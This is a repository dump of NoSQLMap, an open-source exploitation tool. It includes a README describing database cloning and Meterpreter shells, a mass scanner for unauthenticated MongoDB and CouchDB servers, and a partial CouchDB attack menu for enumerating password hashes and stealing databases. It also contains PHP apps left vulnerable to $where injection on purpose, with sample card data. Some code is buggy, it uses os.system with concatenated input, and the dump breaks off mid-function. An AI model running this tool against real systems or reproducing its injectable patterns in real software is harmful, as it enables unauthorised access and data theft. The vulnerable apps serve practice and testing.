├── docs
├── nop
└── _config.yml
├── docker
├── entrypoint.sh
└── Dockerfile
├── screenshots
└── NoSQLMap-v0-5.jpg
├── vuln_apps
├── cust.html
├── acct.php
├── userdata.php
├── orderdata.php
├── mongo.nosql
└── populate_db.php
├── TODO
├── .gitattributes
├── setup.py
├── ISSUE_TEMPLATE.md
├── .gitignore
├── README.md
├── nsmscan.py
├── nsmcouch.py
├── nsmmongo.py
├── nosqlmap.py
├── COPYING
└── nsmweb.py
/docs/nop:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/docs/_config.yml:
--------------------------------------------------------------------------------
1 | theme: jekyll-theme-cayman
--------------------------------------------------------------------------------
/docker/entrypoint.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | exec python nosqlmap.py
3 |
--------------------------------------------------------------------------------
/screenshots/NoSQLMap-v0-5.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/alexdetrano/NoSQLMap/HEAD/screenshots/NoSQLMap-v0-5.jpg
--------------------------------------------------------------------------------
/docker/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:latest
2 |
3 | RUN apt-get update && apt-get install -y python python-pip git mongodb
4 |
5 | RUN git clone https://github.com/codingo/NoSQLMap.git /root/NoSqlMap
6 |
7 | WORKDIR /root/NoSqlMap
8 |
9 | RUN python setup.py install
10 |
11 | COPY entrypoint.sh /tmp/entrypoint.sh
12 |
13 | RUN chmod +x /tmp/entrypoint.sh
14 |
15 | ENTRYPOINT ["/tmp/entrypoint.sh"]
16 |
--------------------------------------------------------------------------------
/vuln_apps/cust.html:
--------------------------------------------------------------------------------
1 |
2 |
3 | Customer Info
4 |
5 |
6 |
7 | Customer Information
8 | Enter your customer ID to show your account information:
9 |
10 |
19 |
20 |
21 |
--------------------------------------------------------------------------------
/TODO:
--------------------------------------------------------------------------------
1 | '''TODO:
2 | A list:
3 | - create options.py with options to be set. Options stored in a class
4 | - separate requests, should only give:
5 | 1. args (could be query path in a get, parameters in a POST)
6 | 2. options (where we find method, uri, port etc)
7 | 3. header (in future we will implement injection in a header)
8 | - separate metasploit module
9 | - create exceptions.py
10 |
11 | B list:
12 | - accept manipulation of parameters(ex: we want to base64encode the request before sending it)
13 | - ???
14 | '''
15 |
--------------------------------------------------------------------------------
/.gitattributes:
--------------------------------------------------------------------------------
1 | # Auto detect text files and perform LF normalization
2 | * text=auto
3 |
4 | # Custom for Visual Studio
5 | *.cs diff=csharp
6 | *.sln merge=union
7 | *.csproj merge=union
8 | *.vbproj merge=union
9 | *.fsproj merge=union
10 | *.dbproj merge=union
11 |
12 | # Standard to msysgit
13 | *.doc diff=astextplain
14 | *.DOC diff=astextplain
15 | *.docx diff=astextplain
16 | *.DOCX diff=astextplain
17 | *.dot diff=astextplain
18 | *.DOT diff=astextplain
19 | *.pdf diff=astextplain
20 | *.PDF diff=astextplain
21 | *.rtf diff=astextplain
22 | *.RTF diff=astextplain
23 |
--------------------------------------------------------------------------------
/setup.py:
--------------------------------------------------------------------------------
1 | from setuptools import find_packages, setup
2 |
3 |
4 | with open("README.md") as f:
5 | setup(
6 | name = "NoSQLMap",
7 | version = "0.7",
8 | packages = find_packages(),
9 | scripts = ['nosqlmap.py', 'nsmmongo.py', 'nsmcouch.py','nsmscan.py','nsmweb.py'],
10 |
11 | entry_points = {
12 | "console_scripts": [
13 | "NoSQLMap = nosqlmap:main"
14 | ]
15 | },
16 |
17 | install_requires = [ "CouchDB==1.0", "httplib2==0.9", "ipcalc==1.1.3",\
18 | "NoSQLMap==0.7", "pbkdf2==1.3", "pymongo==2.7.2",\
19 | "requests==2.5.0"],
20 |
21 | author = "tcstool",
22 | author_email = "codingo@protonmail.com",
23 | description = "Automated MongoDB and NoSQL web application exploitation tool",
24 | license = "GPLv3",
25 | long_description = f.read(),
26 | url = "http://www.nosqlmap.net"
27 | )
28 |
--------------------------------------------------------------------------------
/vuln_apps/acct.php:
--------------------------------------------------------------------------------
1 |
2 |
3 | Payment information
4 |
5 |
6 | customers;
10 | $collection = $db->paymentinfo;
11 | $search = $_GET['acctid'];
12 | // $criteria = array('id' => $search);
13 | // $fields = array('name','id','cc','cvv2');
14 |
15 |
16 | $cursor = $collection->find(array('id' => $search));
17 |
18 | // echo $search;
19 | echo $cursor->count() . ' document(s) found.
';
20 |
21 | foreach ($cursor as $obj) {
22 | echo 'Name: ' . $obj['name'] . '
';
23 | echo 'Customer ID: ' . $obj['id'] . '
';
24 | echo 'Card Number: ' . $obj['cc'] . '
';
25 | echo 'CVV2 Code: ' . $obj['cvv2'] . '
';
26 | echo '
';
27 | }
28 |
29 | $conn->close();
30 | } catch (MongoConnectionException $e) {
31 | die('Error connecting to MongoDB server : ' . $e->getMessage());
32 | } catch (MongoException $e) {
33 | die('Error: ' . $e->getMessage());
34 | }
35 | ?>
36 |
37 |
38 |
39 |
--------------------------------------------------------------------------------
/ISSUE_TEMPLATE.md:
--------------------------------------------------------------------------------
1 | ## What's the problem (or question)?
2 |
3 |
4 |
5 | ## Do you have an idea for a solution?
6 |
7 |
8 |
9 | ## How can we reproduce the issue?
10 |
11 | 1.
12 | 2.
13 | 3.
14 | 4.
15 |
16 | ## What are the running context details?
17 |
18 | * Installation method (e.g. `pip`, `apt-get`, `git clone` or `zip`/`tar.gz`):
19 | * Client OS (e.g. `Microsoft Windows 10`)
20 | * Program version (`python sqlmap.py --version` or `sqlmap --version` depending on installation):
21 | * Target DBMS (e.g. `Mongo`):
22 | * Detected WAF/IDS/IPS protection (e.g. `ModSecurity` or `unknown`):
23 | * Results of manual target assessment
24 | * Relevant console output (if any):
25 | * Exception traceback (if any):
26 |
--------------------------------------------------------------------------------
/vuln_apps/userdata.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | User Profile Lookup
7 |
8 |
9 |
10 | appUserData;
16 | $collection = $db->users;
17 | $search = $_GET['usersearch'];
18 | $js = "function () { var query = '". $usersearch . "'; return this.username == query;}";
19 | print $js;
20 | print '
';
21 |
22 | $cursor = $collection->find(array('$where' => $js));
23 | echo $cursor->count() . ' user found.
';
24 |
25 | foreach ($cursor as $obj) {
26 | echo 'Name: ' . $obj['name'] . '
';
27 | echo 'Username: ' . $obj['username'] . '
';
28 | echo 'Email: ' . $obj['email'] . '
';
29 | echo '
';
30 | }
31 |
32 | $conn->close();
33 | } catch (MongoConnectionException $e) {
34 | die('Error connecting to MongoDB server : ' . $e->getMessage());
35 | } catch (MongoException $e) {
36 | die('Error: ' . $e->getMessage());
37 | }
38 | }
39 | ?>
40 |
41 |
42 | Enter your username:
43 |
46 |
47 |
48 |
49 |
50 |
51 |
--------------------------------------------------------------------------------
/vuln_apps/orderdata.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | Order Lookup
7 |
8 |
9 |
10 | shop;
16 | $collection = $db->orders;
17 | $search = $_GET['ordersearch'];
18 | $js = "function () { var query = '". $search . "'; return this.id == query;}";
19 | //print $js;
20 | print '
';
21 |
22 | $cursor = $collection->find(array('$where' => $js));
23 | echo $cursor->count() . ' order(s) found.
';
24 |
25 | foreach ($cursor as $obj) {
26 | echo 'Order ID: ' . $obj['id'] . '
';
27 | echo 'Name: ' . $obj['name'] . '
';
28 | echo 'Item: ' . $obj['item'] . '
';
29 | echo 'Quantity: ' . $obj['quantity']. '
';
30 | echo '
';
31 | }
32 |
33 | $conn->close();
34 | } catch (MongoConnectionException $e) {
35 | die('Error connecting to MongoDB server : ' . $e->getMessage());
36 | } catch (MongoException $e) {
37 | die('Error: ' . $e->getMessage());
38 | }
39 | }
40 | ?>
41 |
42 |
43 | Use the Order ID to locate your order:
44 |
47 |
48 |
49 |
50 |
51 |
52 |
--------------------------------------------------------------------------------
/vuln_apps/mongo.nosql:
--------------------------------------------------------------------------------
1 | use shop
2 | db.orders.insert({"id":"42","name":"Adrien","item":"Fuzzy pink towel","quantity":"1"})
3 | db.orders.insert({"id":"99","name":"Justin","item":"Bird supplies","quantity":"4"})
4 | db.orders.insert({"id":"1","name":"Robin","item":"Music gift cards","quantity":"100"})
5 | db.orders.insert({"id":"1001","name":"Moses","item":"Miami Heat tickets","quantity":"1000"})
6 | db.orders.insert({"id":"66","name":"Rick","item":"Black hoodie","quantity":"1"})
7 | db.orders.insert({"id":"0","name":"Nobody","item":"Nothing","quantity":"0"})
8 |
9 | use customers
10 | db.paymentinfo.insert({"name":"Adrien","id":"42","cc":"5555123456789999","cvv2":"1234"})
11 | db.paymentinfo.insert({"name":"Justin","id":"99","cc":"5555123456780000","cvv2":"4321"})
12 | db.paymentinfo.insert({"name":"Robin","id":"1","cc":"3333444455556666","cvv2":"2222"})
13 | db.paymentinfo.insert({"name":"Moses","id":"2","cc":"4444555566667777","cvv2":"3333"})
14 | db.paymentinfo.insert({"name":"Rick","id":"3","cc":"5555666677778888","cvv2":"5678"})
15 | db.paymentinfo.insert({"name":"Nobody","id":"0","cc":"45009876543215555","cvv2":"9999"})
16 |
17 | use appUserData
18 | db.users.insert({"name":"Adrien","username":"adrien","email":"adrien@sec642.org"})
19 | db.users.insert({"name":"Justin","username":"justin","email":"justin@sec642.org"})
20 | db.users.insert({"name":"Robin","username":"digininja","email":"digininja@sec642.org"})
21 | db.users.insert({"name":"Moses","username":"adrien","email":"moses@sec642.org"})
22 | db.users.insert({"name":"Rick","username":"rick","email":"rick@sec642.org"})
23 | db.users.insert({"name":"Nobody","username":"administrator","email":"root@sec642.org"})
24 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | #################
2 | ## Eclipse
3 | #################
4 |
5 | *.pydevproject
6 | .project
7 | .metadata
8 | bin/
9 | tmp/
10 | *.tmp
11 | *.bak
12 | *.swp
13 | *~.nib
14 | local.properties
15 | .classpath
16 | .settings/
17 | .loadpath
18 |
19 | # External tool builders
20 | .externalToolBuilders/
21 |
22 | # Locally stored "Eclipse launch configurations"
23 | *.launch
24 |
25 | # CDT-specific
26 | .cproject
27 |
28 | # PDT-specific
29 | .buildpath
30 |
31 |
32 | #################
33 | ## Visual Studio
34 | #################
35 |
36 | ## Ignore Visual Studio temporary files, build results, and
37 | ## files generated by popular Visual Studio add-ons.
38 |
39 | # User-specific files
40 | *.suo
41 | *.user
42 | *.sln.docstates
43 |
44 | # Build results
45 |
46 | [Dd]ebug/
47 | [Rr]elease/
48 | x64/
49 | build/
50 | [Bb]in/
51 | [Oo]bj/
52 |
53 | # MSTest test Results
54 | [Tt]est[Rr]esult*/
55 | [Bb]uild[Ll]og.*
56 |
57 | *_i.c
58 | *_p.c
59 | *.ilk
60 | *.meta
61 | *.obj
62 | *.pch
63 | *.pdb
64 | *.pgc
65 | *.pgd
66 | *.rsp
67 | *.sbr
68 | *.tlb
69 | *.tli
70 | *.tlh
71 | *.tmp
72 | *.tmp_proj
73 | *.log
74 | *.vspscc
75 | *.vssscc
76 | .builds
77 | *.pidb
78 | *.log
79 | *.scc
80 |
81 | # Visual C++ cache files
82 | ipch/
83 | *.aps
84 | *.ncb
85 | *.opensdf
86 | *.sdf
87 | *.cachefile
88 |
89 | # Visual Studio profiler
90 | *.psess
91 | *.vsp
92 | *.vspx
93 |
94 | # Guidance Automation Toolkit
95 | *.gpState
96 |
97 | # ReSharper is a .NET coding add-in
98 | _ReSharper*/
99 | *.[Rr]e[Ss]harper
100 |
101 | # TeamCity is a build add-in
102 | _TeamCity*
103 |
104 | # DotCover is a Code Coverage Tool
105 | *.dotCover
106 |
107 | # NCrunch
108 | *.ncrunch*
109 | .*crunch*.local.xml
110 |
111 | # Installshield output folder
112 | [Ee]xpress/
113 |
114 | # DocProject is a documentation generator add-in
115 | DocProject/buildhelp/
116 | DocProject/Help/*.HxT
117 | DocProject/Help/*.HxC
118 | DocProject/Help/*.hhc
119 | DocProject/Help/*.hhk
120 | DocProject/Help/*.hhp
121 | DocProject/Help/Html2
122 | DocProject/Help/html
123 |
124 | # Click-Once directory
125 | publish/
126 |
127 | # Publish Web Output
128 | *.Publish.xml
129 | *.pubxml
130 |
131 | # NuGet Packages Directory
132 | ## TODO: If you have NuGet Package Restore enabled, uncomment the next line
133 | #packages/
134 |
135 | # Windows Azure Build Output
136 | csx
137 | *.build.csdef
138 |
139 | # Windows Store app package directory
140 | AppPackages/
141 |
142 | # Others
143 | sql/
144 | *.Cache
145 | ClientBin/
146 | [Ss]tyle[Cc]op.*
147 | ~$*
148 | *~
149 | *.dbmdl
150 | *.[Pp]ublish.xml
151 | *.pfx
152 | *.publishsettings
153 |
154 | # RIA/Silverlight projects
155 | Generated_Code/
156 |
157 | # Backup & report files from converting an old project file to a newer
158 | # Visual Studio version. Backup files are not needed, because we have git ;-)
159 | _UpgradeReport_Files/
160 | Backup*/
161 | UpgradeLog*.XML
162 | UpgradeLog*.htm
163 |
164 | # SQL Server files
165 | App_Data/*.mdf
166 | App_Data/*.ldf
167 |
168 | #############
169 | ## Windows detritus
170 | #############
171 |
172 | # Windows image file caches
173 | Thumbs.db
174 | ehthumbs.db
175 |
176 | # Folder config file
177 | Desktop.ini
178 |
179 | # Recycle Bin used on file shares
180 | $RECYCLE.BIN/
181 |
182 | # Mac crap
183 | .DS_Store
184 |
185 |
186 | #############
187 | ## Python
188 | #############
189 |
190 | *.py[co]
191 |
192 | # Packages
193 | *.egg
194 | *.egg-info
195 | dist/
196 | build/
197 | eggs/
198 | parts/
199 | var/
200 | sdist/
201 | develop-eggs/
202 | .installed.cfg
203 |
204 | # Installer logs
205 | pip-log.txt
206 |
207 | # Unit test / coverage reports
208 | .coverage
209 | .tox
210 |
211 | #Translations
212 | *.mo
213 |
214 | #Mr Developer
215 | .mr.developer.cfg
216 |
217 | *.xml
218 |
219 | .idea/.name
220 |
221 | .idea/NoSQLMap.iml
222 | *.iml
223 | *.pyproj
224 | *.sln
225 | /.vs/ProjectSettings.json
226 |
--------------------------------------------------------------------------------
/vuln_apps/populate_db.php:
--------------------------------------------------------------------------------
1 | shop;
8 |
9 | // Drop the database
10 | $response = $db->drop();
11 | //print_r($response);
12 |
13 | // select a collection (analogous to a relational database's table)
14 | $collection = $db->orders;
15 |
16 | // add records
17 | $obj = array( "id"=>"1234","name"=>"Russell","item"=>"ManCity Jersey","quantity"=>"2");
18 | $collection->insert($obj);
19 | $obj = array( "id"=>"42","name"=>"Adrien","item"=>"Fuzzy pink towel","quantity"=>"1");
20 | $collection->insert($obj);
21 | $obj = array( "id"=>"99","name"=>"Justin","item"=>"Bird supplies","quantity"=>"4");
22 | $collection->insert($obj);
23 | $obj = array( "id"=>"1","name"=>"Robin","item"=>"Music gift cards","quantity"=>"100");
24 | $collection->insert($obj);
25 | $obj = array( "id"=>"1001","name"=>"Moses","item"=>"Miami Heat tickets","quantity"=>"1000");
26 | $collection->insert($obj);
27 | $obj = array( "id"=>"66","name"=>"Rick","item"=>"Black hoodie","quantity"=>"1");
28 | $collection->insert($obj);
29 | $obj = array( "id"=>"0","name"=>"Nobody","item"=>"Nothing","quantity"=>"0");
30 | $collection->insert($obj);
31 |
32 | // find everything in the collection
33 | $cursor = $collection->find();
34 |
35 | // iterate through the results
36 | foreach ($cursor as $obj) {
37 | echo $obj["name"] . "
";
38 | }
39 |
40 | // select a database
41 | $db = $m->customers;
42 |
43 | // Drop the database
44 | $response = $db->drop();
45 | //print_r($response);
46 |
47 | // select a collection (analogous to a relational database's table)
48 | $collection = $db->paymentinfo;
49 |
50 | $obj = array( "name"=>"Russell","id"=>"1000","cc"=>"0000000000000000","cvv2"=>"0000");
51 | $collection->insert($obj);
52 | $obj = array( "name"=>"Adrien","id"=>"42","cc"=>"5555123456789999","cvv2"=>"1234");
53 | $collection->insert($obj);
54 | $obj = array( "name"=>"Justin","id"=>"99","cc"=>"5555123456780000","cvv2"=>"4321");
55 | $collection->insert($obj);
56 | $obj = array( "name"=>"Robin","id"=>"1","cc"=>"3333444455556666","cvv2"=>"2222");
57 | $collection->insert($obj);
58 | $obj = array( "name"=>"Moses","id"=>"2","cc"=>"4444555566667777","cvv2"=>"3333");
59 | $collection->insert($obj);
60 | $obj = array( "name"=>"Rick","id"=>"3","cc"=>"5555666677778888","cvv2"=>"5678");
61 | $collection->insert($obj);
62 | $obj = array( "name"=>"Nobody","id"=>"0","cc"=>"4500987654321555","cvv2"=>"9999");
63 | $collection->insert($obj);
64 |
65 | // find everything in the collection
66 | $cursor = $collection->find();
67 |
68 | // iterate through the results
69 | foreach ($cursor as $obj) {
70 | echo $obj["cc"] . "
";
71 | }
72 |
73 |
74 | // select a database
75 | $db = $m->appUserData;
76 |
77 | // Drop the database
78 | $response = $db->drop();
79 | //print_r($response);
80 |
81 | // select a collection (analogous to a relational database's table)
82 | $collection = $db->users;
83 |
84 | $obj = array( "name"=>"Russell","username"=>"tcstoolHax0r","email"=>"nosqlmap@sec642.org");
85 | $collection->insert($obj);
86 | $obj = array( "name"=>"Adrien","username"=>"adrien","email"=>"adrien@sec642.org");
87 | $collection->insert($obj);
88 | $obj = array( "name"=>"Justin","username"=>"justin","email"=>"justin@sec642.org");
89 | $collection->insert($obj);
90 | $obj = array( "name"=>"Robin","username"=>"digininja","email"=>"digininja@sec642.org");
91 | $collection->insert($obj);
92 | $obj = array( "name"=>"Moses","username"=>"adrien","email"=>"moses@sec642.org");
93 | $collection->insert($obj);
94 | $obj = array( "name"=>"Rick","username"=>"rick","email"=>"rick@sec642.org");
95 | $collection->insert($obj);
96 | $obj = array( "name"=>"Nobody","username"=>"administrator","email"=>"root@sec642.org");
97 | $collection->insert($obj);
98 |
99 | // find everything in the collection
100 | $cursor = $collection->find();
101 |
102 | // iterate through the results
103 | foreach ($cursor as $obj) {
104 | echo $obj["email"] . "
";
105 | }
106 |
107 | ?>
108 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | NoSQLMap
2 | ========
3 | [](https://www.python.org/)
4 | [](https://github.com/codingo/NoSQLMap/blob/master/COPYING)
5 | [](https://twitter.com/codingo_)
6 |
7 | NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database.
8 |
9 | Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org). Its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf).
10 |
11 |
12 | ## NoSQLMap MongoDB Management Attack Demo.
13 |
14 |
15 |
16 | ## Screenshots
17 | 
18 |
19 | # Summary
20 | ## What is NoSQL?
21 | A NoSQL (originally referring to "non SQL", "non relational" or "not only SQL") database provides a mechanism for storage and retrieval of data which is modeled in means other than the tabular relations used in relational databases. Such databases have existed since the late 1960s, but did not obtain the "NoSQL" moniker until a surge of popularity in the early twenty-first century, triggered by the needs of Web 2.0 companies such as Facebook, Google, and Amazon.com. NoSQL databases are increasingly used in big data and real-time web applications. NoSQL systems are also sometimes called "Not only SQL" to emphasize that they may support SQL-like query languages.
22 |
23 | ## DBMS Support
24 | Presently the tool's exploits are focused around MongoDB, and CouchDB but additional support for other NoSQL based platforms such as Redis, and Cassandra are planned in future releases.
25 |
26 | ## Requirements
27 | On a Debian or Red Hat based system, the setup.sh script may be run as root to automate the installation of NoSQLMap's dependencies.
28 |
29 | Varies based on features used:
30 | - Metasploit Framework,
31 | - Python with PyMongo,
32 | - httplib2,
33 | - and urllib available.
34 | - A local, default MongoDB instance for cloning databases to. Check [here](http://docs.mongodb.org/manual/installation/) for installation instructions.
35 |
36 | There are some various other libraries required that a normal Python installation should have readily available. Your milage may vary, check the script.
37 |
38 | ## Setup
39 | ```
40 | python setup.py install
41 | ```
42 | Alternatively you can build a Docker image by changing to the docker directory and entering:
43 | ```
44 | docker build -t nosqlmap .
45 | ```
46 | ## Usage Instructions
47 | Start with
48 | ```
49 | python NoSQLMap
50 | ```
51 |
52 | NoSQLMap uses a menu based system for building attacks. Upon starting NoSQLMap you are presented with with the main menu:
53 |
54 | ```
55 | 1-Set options (do this first)
56 | 2-NoSQL DB Access Attacks
57 | 3-NoSQL Web App attacks
58 | 4-Scan for Anonymous MongoDB Access
59 | x-Exit
60 | ```
61 |
62 | Explanation of options:
63 | ```
64 | 1. Set target host/IP-The target web server (i.e. www.google.com) or MongoDB server you want to attack.
65 | 2. Set web app port-TCP port for the web application if a web application is the target.
66 | 3. Set URI Path-The portion of the URI containing the page name and any parameters but NOT the host name (e.g. /app/acct.php?acctid=102).
67 | 4. Set HTTP Request Method (GET/POST)-Set the request method to a GET or POST; Presently only GET is implemented but working on implementing POST requests exported from Burp.
68 | 5. Set my local Mongo/Shell IP-Set this option if attacking a MongoDB instance directly to the IP of a target Mongo installation to clone victim databases to or open Meterpreter shells to.
69 | 6. Set shell listener port-If opening Meterpreter shells, specify the port.
70 | 7. Load options file-Load a previously saved set of settings for 1-6.
71 | 8. Load options from saved Burp request-Parse a request saved from Burp Suite and populate the web application options.
72 | 9. Save options file-Save settings 1-6 for future use.
73 | x. Back to main menu-Use this once the options are set to start your attacks.
74 | ```
75 |
76 | Once options are set head back to the main menu and select DB access attacks or web app attacks as appropriate for whether you are attacking a NoSQL management port or web application. The rest of the tool is "wizard" based and fairly self explanatory, but send emails to codingo@protonmail.com or find me on Twitter [@codingo_](https://twitter.com/codingo_) if you have any questions or suggestions.
77 |
--------------------------------------------------------------------------------
/nsmscan.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # NoSQLMap Copyright 2012-2017 NoSQLMap Development team
3 | # See the file 'doc/COPYING' for copying permission
4 |
5 |
6 | import ipcalc
7 | import nsmmongo
8 | import nsmcouch
9 |
10 | def args():
11 | return []
12 |
13 | def massScan(platform, args = None):
14 | yes_tag = ['y', 'Y']
15 | no_tag = ['n', 'N']
16 | optCheck = True
17 | loadCheck = False
18 | ping = False
19 | success = []
20 | versions = []
21 | creds = []
22 | commError = []
23 | ipList = []
24 | resultSet = []
25 |
26 | print "\n"
27 | print platform + " Default Access Scanner"
28 | print "=============================="
29 | print "1-Scan a subnet for default " + platform + " access"
30 | print "2-Loads IPs to scan from a file"
31 | print "3-Enable/disable host pings before attempting connection"
32 | print "x-Return to main menu"
33 |
34 | while optCheck:
35 | loadOpt = raw_input("Select an option: ")
36 |
37 | if loadOpt == "1":
38 | subnet = raw_input("Enter subnet to scan: ")
39 |
40 | try:
41 | for ip in ipcalc.Network(subnet):
42 | ipList.append(str(ip))
43 | optCheck = False
44 | except:
45 | raw_input("Not a valid subnet. Press enter to return to main menu.")
46 | return
47 |
48 | if loadOpt == "2":
49 | while loadCheck == False:
50 | loadPath = raw_input("Enter file name with IP list to scan: ")
51 |
52 | try:
53 | with open (loadPath) as f:
54 | ipList = f.readlines()
55 | loadCheck = True
56 | optCheck = False
57 | except:
58 | print "Couldn't open file."
59 |
60 | if loadOpt == "3":
61 | if ping == False:
62 | ping = True
63 | print "Scan will ping host before connection attempt."
64 |
65 | elif ping == True:
66 | ping = False
67 | print "Scan will not ping host before connection attempt."
68 |
69 | if loadOpt == "x":
70 | return
71 |
72 |
73 | print "\n"
74 | for target in ipList:
75 |
76 | if platform == "MongoDB":
77 | result = nsmmongo.mongoScan(target.rstrip(),27017,ping)
78 |
79 | elif platform == "CouchDB":
80 | result = nsmcouch.couchScan(target.rstrip(),5984,ping)
81 |
82 | if result[0] == 0:
83 | print "Successful default access on " + target.rstrip() + "(" + platform + " Version: " + result[1] + ")."
84 | success.append(target.rstrip())
85 | versions.append(result[1])
86 |
87 | elif result[0] == 1:
88 | print platform + " running but credentials required on " + target.rstrip() + "."
89 | creds.append(target.rstrip()) # Future use
90 |
91 | elif result[0] == 2:
92 | print "Successful " + platform + " connection to " + target.rstrip() + " but error executing command."
93 | commError.append(target.rstrip()) # Future use
94 |
95 | elif result[0] == 3:
96 | print "Couldn't connect to " + target.rstrip() + "."
97 |
98 | elif result[0] == 4:
99 | print target.rstrip() + " didn't respond to ping."
100 |
101 |
102 | print "\n\n"
103 | select = True
104 | while select:
105 | saveEm = raw_input("Save scan results to CSV? (y/n):")
106 |
107 | if saveEm in yes_tag:
108 | savePath = raw_input("Enter file name to save: ")
109 | outCounter = 0
110 | try:
111 | fo = open(savePath, "wb")
112 | fo.write("IP Address," + platform + " Version\n")
113 |
114 | for server in success:
115 | fo.write(server + "," + versions[outCounter] + "\n" )
116 | outCounter += 1
117 |
118 | fo.close()
119 | print "Scan results saved!"
120 | select = False
121 |
122 | except:
123 | print "Couldn't save scan results."
124 |
125 | elif saveEm in no_tag:
126 | select = False
127 |
128 | else:
129 | select = True
130 |
131 | print "Discovered " + platform + " Servers with No Auth:"
132 | print "IP" + " " + "Version"
133 |
134 | outCounter= 1
135 |
136 | for server in success:
137 | print str(outCounter) + "-" + server + " " + versions[outCounter - 1]
138 | outCounter += 1
139 |
140 | select = True
141 | print "\n"
142 | while select:
143 | select = raw_input("Select a NoSQLMap target or press x to exit: ")
144 |
145 | if select == "x" or select == "X":
146 | return None
147 |
148 | elif select.isdigit() == True and int(select) <= outCounter:
149 | victim = success[int(select) - 1]
150 | resultSet[0] = True
151 | resultSet[1] = victim
152 | raw_input("New target set! Press enter to return to the main menu.")
153 | return resultSet
154 |
155 | else:
156 | raw_input("Invalid selection.")
157 |
--------------------------------------------------------------------------------
/nsmcouch.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # NoSQLMap Copyright 2012-2017 NoSQLMap Development team
3 | # See the file 'doc/COPYING' for copying permission
4 |
5 | import couchdb
6 | import urllib
7 | import requests
8 | import sys
9 | import unittest
10 | from pbkdf2 import PBKDF2
11 | from binascii import a2b_hex
12 | import string
13 | import itertools
14 | from hashlib import sha1
15 | import os
16 |
17 |
18 | global dbList
19 | global yes_tag
20 | global no_tag
21 | yes_tag = ['y', 'Y']
22 | no_tag = ['n', 'N']
23 |
24 | def args():
25 | return []
26 |
27 | def couchScan(target,port,pingIt):
28 | if pingIt == True:
29 | test = os.system("ping -c 1 -n -W 1 " + ip + ">/dev/null")
30 |
31 | if test == 0:
32 | try:
33 | conn = couchdb.Server("http://" + str(target) + ":" + str(port) + "/")
34 |
35 | try:
36 | dbVer = conn.version()
37 | return [0,dbVer]
38 |
39 | except couchdb.http.Unauthorized:
40 | return [1,None]
41 |
42 | except:
43 | return [2,None]
44 |
45 | except:
46 | return [3,None]
47 |
48 | else:
49 | return [4,None]
50 |
51 | else:
52 | try:
53 | conn = couchdb.Server("http://" + str(target) + ":" + str(port) +"/")
54 |
55 | try:
56 | dbVer = conn.version()
57 | return [0,dbVer]
58 |
59 | except couchdb.http.Unauthorized:
60 | return [1,None]
61 |
62 | except:
63 | return [2,None]
64 |
65 | except:
66 | return [3,None]
67 |
68 | def netAttacks(target,port, myIP, args = None):
69 | print "DB Access attacks (CouchDB)"
70 | print "======================"
71 | mgtOpen = False
72 | webOpen = False
73 | mgtSelect = True
74 | # This is a global for future use with other modules; may change
75 | dbList = []
76 | print "Checking to see if credentials are needed..."
77 | needCreds = couchScan(target,port,False)
78 |
79 | if needCreds[0] == 0:
80 | conn = couchdb.Server("http://" + str(target) + ":" + str(port) + "/")
81 | print "Successful access with no credentials!"
82 | mgtOpen = True
83 |
84 | elif needCreds[0] == 1:
85 | print "Login required!"
86 | srvUser = raw_input("Enter server username: ")
87 | srvPass = raw_input("Enter server password: ")
88 | uri = "http://" + srvUser + ":" + srvPass + "@" + target + ":" + str(port) + "/"
89 |
90 | try:
91 | conn = couchdb.Server(uri)
92 | print "CouchDB authenticated on " + target + ":" + str(port)
93 | mgtOpen = True
94 |
95 | except:
96 | raw_input("Failed to authenticate. Press enter to continue...")
97 | return
98 |
99 | elif needCreds[0] == 2:
100 | conn = couchdb.Server("http://" + str(target) + ":" + str(port) + "/")
101 | print "Access check failure. Testing will continue but will be unreliable."
102 | mgtOpen = True
103 |
104 | elif needCreds[0] == 3:
105 | raw_input ("Couldn't connect to CouchDB server. Press enter to return to the main menu.")
106 | return
107 |
108 |
109 | mgtUrl = "http://" + target + ":" + str(port) + "/_utils"
110 | # Future rev: Add web management interface parsing
111 | try:
112 | mgtRespCode = urllib.urlopen(mgtUrl).getcode()
113 | if mgtRespCode == 200:
114 | print "Sofa web management open at " + mgtUrl + ". No authentication required!"
115 |
116 | except:
117 | print "Sofa web management closed or requires authentication."
118 |
119 | if mgtOpen == True:
120 | while mgtSelect:
121 | print "\n"
122 | print "1-Get Server Version and Platform"
123 | print "2-Enumerate Databases/Users/Password Hashes"
124 | print "3-Check for Attachments (still under development)"
125 | print "4-Clone a Database"
126 | print "5-Return to Main Menu"
127 | attack = raw_input("Select an attack: ")
128 |
129 | if attack == "1":
130 | print "\n"
131 | getPlatInfo(conn,target)
132 |
133 | if attack == "2":
134 | print "\n"
135 | enumDbs(conn,target,port)
136 |
137 | if attack == "3":
138 | print "\n"
139 | enumAtt(conn,target,port)
140 |
141 | if attack == "4":
142 | print "\n"
143 | stealDBs(myIP,conn,target,port)
144 |
145 | if attack == "5":
146 | return
147 |
148 |
149 | def getPlatInfo(couchConn, target):
150 | print "Server Info:"
151 | print "CouchDB Version: " + couchConn.version()
152 | return
153 |
154 |
155 | def enumAtt(conn,target):
156 | dbList = []
157 | print "Enumerating all attachments..."
158 |
159 | for db in conn:
160 | dbList.append(db)
161 |
162 | for dbName in dbList:
163 | r = requests.get("http://" + target + ":" + str(port) + "/" + dbName + "/_all_docs" )
164 | dbDict = r.json()
165 |
166 |
167 |
